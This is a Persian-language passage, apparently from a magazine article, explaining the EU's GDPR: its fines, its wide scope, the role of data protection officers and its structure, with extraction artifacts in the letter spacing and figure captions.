ــود در  ــای موج ــت از داده‌ه ــن حفاظ قوانی
کشــورهای عضــو اتحادیــه اروپــا می‌باشــد. 
بــه عنــوان مثــال، تحــت قانــون حفاظــت از 
ــه  ــن جریم ــتان، بزرگتری ــات در انگلس اطلاع
ــتان  ــازگار در انگلس ــر س ــرکت غی ــک ش ی
پانصــد هــزار پونــد اســت. جرایــم فــوق در 
خصــوص عــدم ســازگاری بــا GDPR تغییــر 
می‌کنــد، حداکثــر جریمــه از مــاه مــی 
2018 مــی توانــد تــا 20 میلیــون یــورو یــا 4 
درصــد از گــردش مالــی جهانــی باشــد. ایــن 
بــه وضــوح نشــان‌دهنده یــک جهــش 
بــزرگ و چالــش برانگیــز اســت و می‌توانــد 
بنگاه‌هــای  بــرای  جــدی  تهدیــد  یــک 
ــد.  ــته باش ــال داش ــه دنب ــب و کار را ب کس
ــر  ــوع  تاثی ــن موض ــه ای ــت ک ــی اس بدیه
مســتقیمی بــر روی اســتراتژی مدیریــت 

آن  عواقــب  و  داشــت  ریســک خواهــد 
اســت. مشــاهده  قابــل   2 شــکل  در 

وجــود   GDPR در  چشــمگیری  الزامــات 
مهم‌تریــن  و  بیش‌تــر  تمرکــز  امــا  دارد 
حقــوق  و  شــفافیت  روی  بــر  تغییــرات 
بســیار گســترده بــرای افــراد می‌باشــد. 
ــه  یکــی از بزرگتریــن تغییــرات GDPR دامن

وســیعی از قوانیــن اســت کــه هــر شــرکتی 
ــا را  ــه اروپ ــه داده‌هــای شــخصی  اتحادی ک
ــه  ــود. ب ــامل می‌ش ــد را ش ــردازش می‌کن پ
طــور خلاصــه، اگــر کارمنــدان، پیمانــکاران، 
شــما  تامین‌کننــدگان  یــا  مشــتریان 

شــهروندان یــا ســاکنان اتحادیــه اروپــا 
هســتند و شــما داده‌هــای آن‌هــا را پردازش 
ــا  ــازگار ب ــد س ــا بای ــا قطع ــد، تقریب می‌کنی
GDPR باشــد و یــا پذیــرای عواقــب آن 

ــید. باش

شکل GDPR-1  یک تغییر بزرگ

 GDPR شکل 2- عواقب عدم انطباق با

سیاست‌گذاری‌های 
GDPRگردآوری: هادی گلباغی◀
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محدوده عملیاتی

افــرادی اســت کــه دارای  مســلماً بیشــترین تاثیــر بــر روی 
اطلاعاتــی از کاربــران در ســطح گســترده می‌باشــند. بدیهــی 
اســت هــر انــدازه کــه میــزان اطلاعــات بیشــتر باشــد، افــراد دارای 
حقــوق بیش‌تــری در خصــوص شــیوه اســتفاده از داده‌هــا و 
ــود  ــد ب ــی از طــرف ســازمان‌هایی خواهن ــران خســارات احتمال جب
ــن  ــال، GDPR همچنی ــن ح ــا ای ــوند. ب ــون می‌ش ــض قان ــه ناق ک
ــر  ــا تأثی ــه اروپ ــارج از اتحادی ــل و خ ــای داخ ــب و کاره ــر کس ب
می‌گــذارد کــه می‌بایســت  آن‌هــا را رعایــت کننــد. رهبــران 
 GDPR ــترده ــذاری گس ــل تاثیرگ ــه دلی ــت ب ــب و کار می‌بایس کس
بــر فضــای کســب و کار، بــه ســرعت و بــه دقــت شــرایط راهبــردی 

برخــورد مناســب بــا آن را در ســازمان خــود فراهــم نماینــد. 
ــران  ــطح مدی ــت در س ــی بایس ــت‌های داده م ــتراتژی و سیاس اس
ارشــد ســازمان تدویــن گــردد، تــا اجــزاء آن بــه عنــوان بخشــی از 
تمامــی فرآیندهــا از مراحــل اولیــه تعریــف محــدوده یــک پــروژه 
ــرد. ــرار گی ــورد توجــه ق ــروژه م ــی خروجی‌هــای پ ــا عرضــه نهای ت
بنگاه‌هــای اقتصــادی کســب و کار ممکــن اســت نیازمنــد بکارگیــری 
 DPO-Data Protection یــک متخصــص حفاظــت داده یــا یــک
Officer و کارشناســانی  باشــند کــه وظیفــه آن‌هــا نظــارت و 
مانیتورینــگ مســتمر به منظــور اطمینان از انطباق  با قوانین باشــند.

 

ــد اســت. یکــی    GDPR در 11 فصــل ســازماندهی و شــامل 99 بن
ــم  ــد پنج ــل دوم و بن ــند، فص ــن س ــای ای ــن بخش‌ه از مهمتری
ــخصی  ــای ش ــردازش داده‌ه ــه پ ــوط ب ــول مرب ــه اص ــه ب ــت ک اس
اشــاره می‌کنــد. در شــکل 3، بــه ایــن اصــول اشــاره شــده اســت.
و  محدودیــت  ایجــاد  و  قوانیــن  ایــن  گرفتــن  نظــر  در  بــا 
امنیــت اطلاعــات،  بــرای شــرکت‌ها در حوزه‌هــای  چارچــوب 
در  قوانینــی  چنیــن  تدویــن  و  روزآوری  بــه  وضــع،  ضــرورت 
کشــور مــا نیــز بســیار بیــش از پیــش احســاس می‌شــود.

GDPR شکل 3- اصول حفاظت داده مطنبق بر
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